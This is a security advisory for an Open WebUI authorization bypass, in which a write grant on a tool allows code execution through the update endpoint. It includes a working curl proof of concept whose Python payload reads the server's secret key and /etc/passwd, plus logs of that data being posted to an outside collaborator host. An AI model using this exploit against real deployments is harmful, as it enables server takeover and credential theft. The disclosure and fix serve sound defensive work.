| Package | Affected versions | Patched versions |
|---|---|---|
| open webui | < 0.9.5 | 0.9.5 |
| open-webui | < 0.9.5 | 0.9.5 |
The tool update endpoint (POST /api/v1/tools/id/{id}/update) is missing the workspace.tools permission check that is present on the tool create endpoint. This allows a user who has been explicitly denied tool management capabilities ( and who the administrator considers untrusted for code execution ) to replace a tool's server-side Python content and trigger execution, bypassing the intended workspace.tools security boundary.
Open WebUI's security policy correctly states that workspace.tools is the trust boundary for code execution: "Granting a user the ability to create Tools is equivalent to giving them shell access to the server." This vulnerability breaks that boundary. A write access grant on a single tool is sufficient to bypass workspace.tools entirely.
This is not a report about exec() being unsandboxed (that is acknowledged as intended behavior). This is a report about a missing authorization check that allows an untrusted user to reach the exec() sink that should be gated behind workspace.tools.
The create and update endpoints for tools have asymmetric authorization checks. The create endpoint enforces the workspace.tools permission; the update endpoint does not.
workspace.toolsFile: backend/open_webui/routers/tools.py, lines 326-345
@router.post('/create', response_model=Optional[ToolResponse])
async def create_new_tools(
request: Request,
form_data: ToolForm,
user=Depends(get_verified_user),
db: AsyncSession = Depends(get_async_session),
):
if user.role != 'admin' and not (
await has_permission(
user.id, 'workspace.tools', # ← CHECKED
request.app.state.config.USER_PERMISSIONS, db=db
)
or await has_permission(
user.id, 'workspace.tools_import', # ← CHECKED
request.app.state.config.USER_PERMISSIONS, db=db
)
):
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.UNAUTHORIZED,
)
# ... proceeds to exec(content, ...) at line 367
workspace.toolsFile: backend/open_webui/routers/tools.py, lines 451-485
@router.post('/id/{id}/update', response_model=Optional[ToolModel])
async def update_tools_by_id(
request: Request,
id: str,
form_data: ToolForm,
user=Depends(get_verified_user),
db: AsyncSession = Depends(get_async_session),
):
tools = await Tools.get_tool_by_id(id, db=db)
# ...
if (
tools.user_id != user.id
and not await AccessGrants.has_access(
user_id=user.id,
resource_type='tool',
resource_id=tools.id,
permission='write', # ← only checks write grant
db=db,
)
and user.role != 'admin'
):
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.UNAUTHORIZED,
)
# NOTE: No has_permission(user.id, 'workspace.tools', ...) check
# ... proceeds to exec(content, ...) at line 485
tool_module, frontmatter = await load_tool_module_by_id(id, content=form_data.content)
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeThe write access grant is a collaboration primitive used across the application (knowledge bases, prompts, models, tools) for content editing. On every other resource type, a write grant allows editing metadata and content. On tools specifically, because the update endpoint triggers exec(), a write grant silently escalates to code execution but only because the workspace.tools check is missing. If the check were present (as it is on create), the write grant would not confer execution privilege.
workspace.tools permission. workspace.tools is disabled by default (config.py:1364-1366), so this is the default state for all non-admin users.workspace.tools permission who creates a tool and grants write access to Bob. This is a normal collaboration workflow Alice is sharing editing access, not granting code execution rights.workspace.tools grant to Alice (which is the intended, documented workflow).Note on default configuration: The workspace.tools permission defaults to false. An administrator must explicitly enable it for at least one user (Alice). This is a documented, recommended workflow the security policy explicitly describes granting workspace.tools to trusted users. The vulnerability is not that Alice has this permission; it is that Bob can bypass it.
docker run -d -p 3000:8080 --name open-webui ghcr.io/open-webui/open-webui:main
Default configuration. Admin creates an account, enables workspace.tools for trusted users via Admin Panel > Settings > User Permissions.
Step 1 Setup users
Create two non-admin users: Alice (trusted, will get workspace.tools) and Bob (untrusted, will NOT get workspace.tools).
ADMIN_TOKEN="<admin-jwt>"
BASE="http://localhost:3000"
# Create Alice
ALICE=$(curl -s -X POST "$BASE/api/v1/auths/add" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"alice","email":"[email protected]","password":"alice123","role":"user"}')
ALICE_TOKEN=$(echo $ALICE | jq -r .token)
ALICE_ID=$(echo $ALICE | jq -r .id)
# Create Bob
BOB=$(curl -s -X POST "$BASE/api/v1/auths/add" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"bob","email":"[email protected]","password":"bob12345","role":"user"}')
BOB_TOKEN=$(echo $BOB | jq -r .token)
BOB_ID=$(echo $BOB | jq -r .id)
Step 2 Admin enables workspace.tools globally
This is the documented workflow for allowing trusted users to build tools.
# Get current permissions
PERMS=$(curl -s "$BASE/api/v1/users/default/permissions" \
-H "Authorization: Bearer $ADMIN_TOKEN")
# Enable workspace.tools
PERMS=$(echo $PERMS | jq '.workspace.tools = true')
curl -s -X POST "$BASE/api/v1/users/default/permissions" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "$PERMS"
Step 3 Alice creates a benign tool
curl -s -X POST "$BASE/api/v1/tools/create" \
-H "Authorization: Bearer $ALICE_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"id": "helper_tool",
"name": "Helper Tool",
"content": "class Tools:\n def hello(self):\n return \"Hello\"\n",
"meta": {"description": "A benign helper", "manifest": {}}
}'
Step 4 Alice grants write access to Bob (collaboration)
Alice wants Bob to be able to edit the tool's description or parameters. This is a standard collaboration feature.
curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/access/update" \
-H "Authorization: Bearer $ALICE_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"access_grants\": [
{\"principal_type\": \"user\", \"principal_id\": \"$BOB_ID\", \"permission\": \"write\"}
]}"
Step 5 Admin disables workspace.tools
Admin revokes the global permission. Now neither Alice nor Bob (nor any non-admin) should be able to execute code via tools.
PERMS=$(echo $PERMS | jq '.workspace.tools = false')
curl -s -X POST "$BASE/api/v1/users/default/permissions" \
-H "Authorization: Bearer $ADMIN_TOKEN" \
-H "Content-Type: application/json" \
-d "$PERMS"
Step 6 Verify Bob CANNOT create tools
curl -s -X POST "$BASE/api/v1/tools/create" \
-H "Authorization: Bearer $BOB_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"id": "bob_test",
"name": "Test",
"content": "class Tools: pass",
"meta": {"description": "test", "manifest": {}}
}'
# Returns: HTTP 401 "401 Unauthorized"
# Bob correctly CANNOT create tools.
Step 7 Bob updates the tool content → code execution (the bypass)
Bob replaces the tool's Python content. The update endpoint does not check workspace.tools, only the write access grant. The new content is passed to exec().
curl -s -X POST "$BASE/api/v1/tools/id/helper_tool/update" \
-H "Authorization: Bearer $BOB_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"id": "helper_tool",
"name": "Helper Tool",
"content": "import os, sys, json, platform, asyncio\n\nproof = {\n \"poc\": \"workspace.tools bypass via write grant\",\n \"whoami\": os.popen(\"whoami\").read().strip(),\n \"hostname\": os.popen(\"hostname\").read().strip(),\n \"pid\": os.getpid(),\n \"secret_key\": os.environ.get(\"WEBUI_SECRET_KEY\", \"\")[:16] + \"...\",\n}\ntry:\n proof[\"etc_passwd\"] = open(\"/etc/passwd\").read()[:300]\nexcept: pass\n\ntry:\n from open_webui.models.tools import Tools as ToolsModel\n loop = asyncio.get_event_loop()\n loop.run_until_complete(\n ToolsModel.update_tool_by_id(\"helper_tool\", {\n \"meta\": {\"description\": json.dumps(proof), \"manifest\": {}}\n })\n )\nexcept: pass\n\nclass Tools:\n def __init__(self): pass\n",
"meta": {"description": "A benign helper", "manifest": {}}
}'
# Returns: HTTP 200 exec() ran. Bob achieved code execution.
The following is a complete run of the automated PoC script:
Step 1: Creating user 'bob' with NO workspace.tools permission...
Created bob: c945be42-6fd7-465d-80c9-2d5a99eb6c2f
Bob's role: user (NO workspace.tools)
Step 2: Disabling workspace.tools globally...
workspace.tools = false (globally)
Step 2b: Verifying bob CANNOT create tools (no permission)...
POST /tools/create as bob: HTTP 401
Correctly denied: 401 Unauthorized
Step 3: Re-enabling workspace.tools for attacker, creating benign tool...
Tool 'poc_rce_2' created by attacker
Step 4: Attacker grants write access on poc_rce_2 to bob...
Grant response: HTTP 200
Bob now has write access on poc_rce_2
Step 5: Disabling workspace.tools globally again...
workspace.tools = false (globally)
Step 6: Bob updates tool content with malicious Python...
Bob has: write grant on poc_rce_2 ONLY
Bob lacks: workspace.tools permission
Endpoint: POST /api/v1/tools/id/poc_rce_2/update
HTTP Status: 200
Tool updated exec() ran with bob's request!
Step 7: Reading exfiltrated proof from DB...
PRIVILEGE ESCALATION CONFIRMED:
{
"poc": "Privilege Escalation: write-grant on tool -> RCE (no workspace.tools needed)",
"vuln": "tools.py:467-481 update endpoint has NO workspace.tools check",
"whoami": "root",
"hostname": "3ffa54b2792d",
"cwd": "/app/backend",
"python": "/usr/local/bin/python3",
"pid": 1,
"platform": "Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36",
"secret_key": "9GDyak0KOfrakPTM...",
"etc_passwd_head": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/va"
}
The container made an outbound HTTP POST to a Collaborator server, confirming code execution from within the container:
POST /poc2 HTTP/1.1
Accept-Encoding: identity
Content-Length: 720
Host: jvi4qe8yi4bu1x1wixnmktgp9gf73xrm.oastify.com
User-Agent: Python-urllib/3.11
Content-Type: application/json
Connection: close
{"poc": "Privilege Escalation: write-grant on tool -> RCE (no workspace.tools needed)",
"vuln": "tools.py:467-481 update endpoint has NO workspace.tools check",
"whoami": "root", "hostname": "3ffa54b2792d", "cwd": "/app/backend",
"python": "/usr/local/bin/python3", "pid": 1,
"platform": "Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36",
"secret_key": "9GDyak0KOfrakPTM...",
"etc_passwd_head": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:..."}
Open WebUI's security policy defines workspace.tools as the trust boundary for code execution:
"Tool creation is controlled by the workspace.tools permission, which is disabled by default for non-admin users and should only be granted to fully trusted users who are equivalent to system administrators in terms of trust. Granting a user the ability to create Tools is equivalent to giving them shell access to the server."
This vulnerability breaks that boundary:
| Check | Create endpoint (line 333) | Update endpoint (line 467) |
|---|---|---|
user.role == 'admin' | Yes | Yes |
has_permission('workspace.tools') | Yes | No |
has_permission('workspace.tools_import') | Yes | No |
AccessGrants.has_access('write') | No | Yes |
tools.user_id == user.id | No (new tool) | Yes |
The update endpoint substitutes AccessGrants.has_access('write') where has_permission('workspace.tools') should be. A write grant is a collaboration primitive for editing content; workspace.tools is the code execution trust boundary. These are different privilege levels, but the update endpoint conflates them.
An attacker with a regular user account and a write access grant on any single tool can:
WEBUI_SECRET_KEY, OPENAI_API_KEY, etc.)The attacker never needs workspace.tools permission. The administrator's explicit decision to deny this user code execution capability is bypassed.
Add the workspace.tools permission check to the update endpoint, matching the create endpoint's authorization gate:
File: backend/open_webui/routers/tools.py, after line 481 (after the existing access check)
# Add workspace.tools check for content changes (code execution)
if form_data.content != tools.content:
if user.role != 'admin' and not (
await has_permission(
user.id, 'workspace.tools',
request.app.state.config.USER_PERMISSIONS, db=db
)
or await has_permission(
user.id, 'workspace.tools_import',
request.app.state.config.USER_PERMISSIONS, db=db
)
):
raise HTTPException(
status_code=status.HTTP_401_UNAUTHORIZED,
detail=ERROR_MESSAGES.UNAUTHORIZED,
)
This allows users with write grants to update tool metadata (name, description, valves) without workspace.tools, but requires the permission for content changes that trigger code execution.